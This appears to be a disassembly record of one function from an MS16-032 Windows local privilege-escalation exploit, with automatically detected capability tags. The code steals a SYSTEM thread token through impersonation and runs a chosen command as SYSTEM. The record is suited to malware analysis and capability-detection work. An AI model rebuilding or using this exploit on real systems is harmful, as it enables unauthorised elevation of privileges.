Function at 0x1400010d0
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create process suspended
Create thread
Get token privileges
Impersonate user
Terminate process
Terminate thread

Disassembly:
push rbp
push rbx
push rsi
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov rax, qword [0x1400153c0]
xor rax, rsp
mov qword [rbp + 0x70], rax
mov ebx, ecx
lea rcx, str.___ms16_032_for_service_by_zcgonvh_n
mov rsi, rdx
call fcn.140001c9c
cmp ebx, 2
je 0x140001124
lea rcx, str.___usage:_ms16_032_command__n
call fcn.140001c9c
lea rcx, str.___eg:_ms16_032__whoami__all___n
call fcn.140001c9c
or eax, 0xffffffff
jmp 0x140001647
mov qword [rsp + 0x1b0], r14
xor r14d, r14d
mov dword [rsp + 0x60], r14d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rdx, [rsp + 0x60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp dword [rsp + 0x60], r14d
je 0x140001162
lea rcx, str._x__please_re_compiler_this_program_via_x64_platform_n
call fcn.140001c9c
xor eax, eax
jmp 0x14000163f
mov ecx, 0x20000
call fcn.1400017f0
lea rcx, [rbp - 0x30]
xor edx, edx
mov rbx, rax
xor eax, eax
lea r8d, [rax + 0x68]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
call fcn.1400078f0
mov dword [rbp - 0x30], 0x68
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rbp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rbp + 0x28], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov r8d, 0x104
mov rdx, rbx
xor ecx, ecx
mov word [rbp + 0x10], r14w
mov qword [rbp + 0x30], rax
mov dword [rbp + 0xc], 0x101
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rax, [rsp + 0x68]
lea r8, [0x1400134f8]
lea rdx, [0x1400134f8]
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x30]
lea rcx, [0x1400134f8]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], 4
mov r9d, 2
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
test eax, eax
je 0x14000165e
cmp qword [rsp + 0x68], r14
je 0x140001683
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, qword [rsp + 0x68]
mov dword [rsp + 0x30], 2
lea r9, [rbp - 0x78]
mov r8, rax
mov edx, 4
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov rcx, qword [rsp + 0x68]
mov edx, 1
test eax, eax
je 0x1400016a8
mov qword [rsp + 0x1a0], rdi
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x800
mov dword [rsp + 0x64], r14d
call fcn.1400017f0
lea rcx, str.ntdll
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.NtImpersonateThread
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp - 0x78]
xor edx, edx
mov rbx, rax
xor eax, eax
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x44], 2
mov dword [rbp + 0x40], 0xc
call qword [sym.imp.ADVAPI32.dll_SetThreadToken]
mov rcx, qword [rbp - 0x78]
lea r8, [rbp + 0x40]
mov rdx, rcx
call rbx
test eax, eax
je 0x140001310
lea rcx, str._x__can_not_do_self_impersonate_:__x_n
mov edx, eax
call fcn.140001c9c
jmp 0x140001634
mov rcx, qword [rbp - 0x78]
lea r9, [rbp - 0x40]
xor r8d, r8d
mov edx, 0xf01ff
call qword [sym.imp.ADVAPI32.dll_OpenThreadToken]
test eax, eax
je 0x1400016d3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp - 0x80]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400016f8
mov rcx, qword [rbp - 0x80]
lea rax, [rsp + 0x64]
mov r9d, 0x800
mov r8, rdi
mov edx, 3
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x14000171d
mov ecx, r14d
cmp dword [rdi], ecx
jbe 0x1400013a0
lea rax, [rdi + 0xc]
nop dword [rax]
nop word [rax + rax]
mov dword [rax], 2
inc ecx
lea rax, [rax + 0xc]
cmp ecx, dword [rdi]
jb 0x140001390
mov r9d, dword [rsp + 0x64]
mov rcx, qword [rbp - 0x80]
mov r8, rdi
xor edx, edx
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x140001742
lea r8, [rbp + 0x58]
lea rdx, str.SeAssignPrimaryTokenPrivilege
xor ecx, ecx
mov dword [rsp + 0x60], r14d
mov dword [rbp + 0x50], 2
mov qword [rbp + 0x54], 1
mov dword [rbp + 0x5c], r14d
mov qword [rbp + 0x64], r14
mov dword [rbp + 0x6c], r14d
mov dword [rbp + 0x60], 2
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
lea r8, [rbp + 0x64]
lea rdx, str.SeIncreaseQuotaPrivilege
xor ecx, ecx
mov dword [rbp + 0x6c], 2
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
xor eax, eax
lea rcx, [rbp - 0x30]
lea r8d, [rax + 0x68]
xor edx, edx
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rax
call fcn.1400078f0
xor eax, eax
lea r8, [rbp - 0x58]
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x68]
mov r9d, 0x400
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
mov dword [rbp - 0x58], 0x18
mov qword [rbp - 0x50], r14
mov dword [rbp - 0x48], 1
call qword [sym.imp.KERNEL32.dll_CreatePipe]
mov rax, qword [rbp - 0x60]
mov r9, qword [rbp - 0x68]
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x28], rax
lea rax, str.WinSta0Default
lea r8, section..text
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], r14
mov dword [rbp + 0xc], 0x101
mov qword [rbp - 0x20], rax
mov word [rbp + 0x10], r14w
mov dword [rsp + 0x20], r14d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [rbp - 0x40]
mov r9d, 2
mov rbx, rax
lea rax, [rbp - 0x70]
xor r8d, r8d
mov qword [rsp + 0x28], rax
mov edx, 0xf01ff
mov dword [rsp + 0x20], 1
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x140001767
mov rcx, qword [rbp - 0x80]
lea r8, [rsp + 0x60]
lea rdx, [rbp + 0x50]
call qword [sym.imp.ADVAPI32.dll_PrivilegeCheck]
test eax, eax
je 0x14000155c
cmp dword [rsp + 0x60], r14d
je 0x14000155c
lea rdx, str.SeAssignPrimaryTokenPrivilege
lea rcx, str.____ws_was_assigned_n
call fcn.140001c9c
mov r8, qword [rsi + 8]
mov rcx, qword [rbp - 0x70]
lea rax, [rsp + 0x68]
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], r14d
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
jmp 0x1400015e4
lea r8, [rbp + 0x58]
lea rdx, str.SeImpersonatePrivilege
xor ecx, ecx
mov dword [rbp + 0x50], 1
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rbp - 0x80]
lea r8, [rsp + 0x60]
lea rdx, [rbp + 0x50]
call qword [sym.imp.ADVAPI32.dll_PrivilegeCheck]
test eax, eax
je 0x140001628
cmp dword [rsp + 0x60], r14d
je 0x140001628
lea rdx, str.SeImpersonatePrivilege
lea rcx, str.____ws_was_assigned_n
call fcn.140001c9c
mov r9, qword [rsi + 8]
mov rcx, qword [rbp - 0x70]
lea rax, [rsp + 0x68]
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
mov rax, qword [rsp + 0x78]
test eax, eax
je 0x14000178c
lea rcx, str.____process_with_pid:__d_created._n_n
mov edx, eax
call fcn.140001c9c
call fcn.140001970
lea rcx, [rax + 0x30]
call fcn.140001b58
mov rcx, qword [rsp + 0x68]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
jmp 0x140001634
lea rcx, str._x__no_privileges_assigned__this_program_can_only_use_on_SERVICE.
call fcn.140001c9c
mov rdi, qword [rsp + 0x1a0]
or eax, 0xffffffff
mov r14, qword [rsp + 0x1b0]
mov rcx, qword [rbp + 0x70]
xor rcx, rsp
call fcn.1400017d0
add rsp, 0x180
pop rsi
pop rbx
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._x__may_be_patched
lea rcx, str._s:__d_n
mov r8d, eax
call fcn.140001c9c
or ecx, 0xffffffff
call fcn.1400022f8
int3
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._x__may_be_patched
lea rcx, str._s:__d_n
mov r8d, eax
call fcn.140001c9c
or ecx, 0xffffffff
call fcn.1400022f8
int3
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._x__can_not_duplicate_thread_handle
lea rcx, str._s:__d_n
mov r8d, eax
call fcn.140001c9c
or ecx, 0xffffffff
call fcn.1400022f8
int3
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._x__can_not_open_token_from_SYSTEM_thread
lea rcx, str._s:__d_n
mov r8d, eax
call fcn.140001c9c
or ecx, 0xffffffff
call fcn.1400022f8
int3
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._x__can_not_open_current_process_token
lea rcx, str._s:__d_n
mov r8d, eax
call fcn.140001c9c
or ecx, 0xffffffff
call fcn.1400022f8
int3
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._x__can_not_get_current_privileges
lea rcx, str._s:__d_n
mov r8d, eax
call fcn.140001c9c
or ecx, 0xffffffff
call fcn.1400022f8
int3
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._x__adjust_all_privileges_fail
lea rcx, str._s:__d_n
mov r8d, eax
call fcn.140001c9c
or ecx, 0xffffffff
call fcn.1400022f8
int3
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._x__can_not_duplicate_token_to_primary
lea rcx, str._s:__d_n
mov r8d, eax
call fcn.140001c9c
or ecx, 0xffffffff
call fcn.1400022f8
int3
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._x__can_not_create_process
lea rcx, str._s:__d_n
mov r8d, eax
call fcn.140001c9c
or ecx, 0xffffffff
call fcn.1400022f8
int3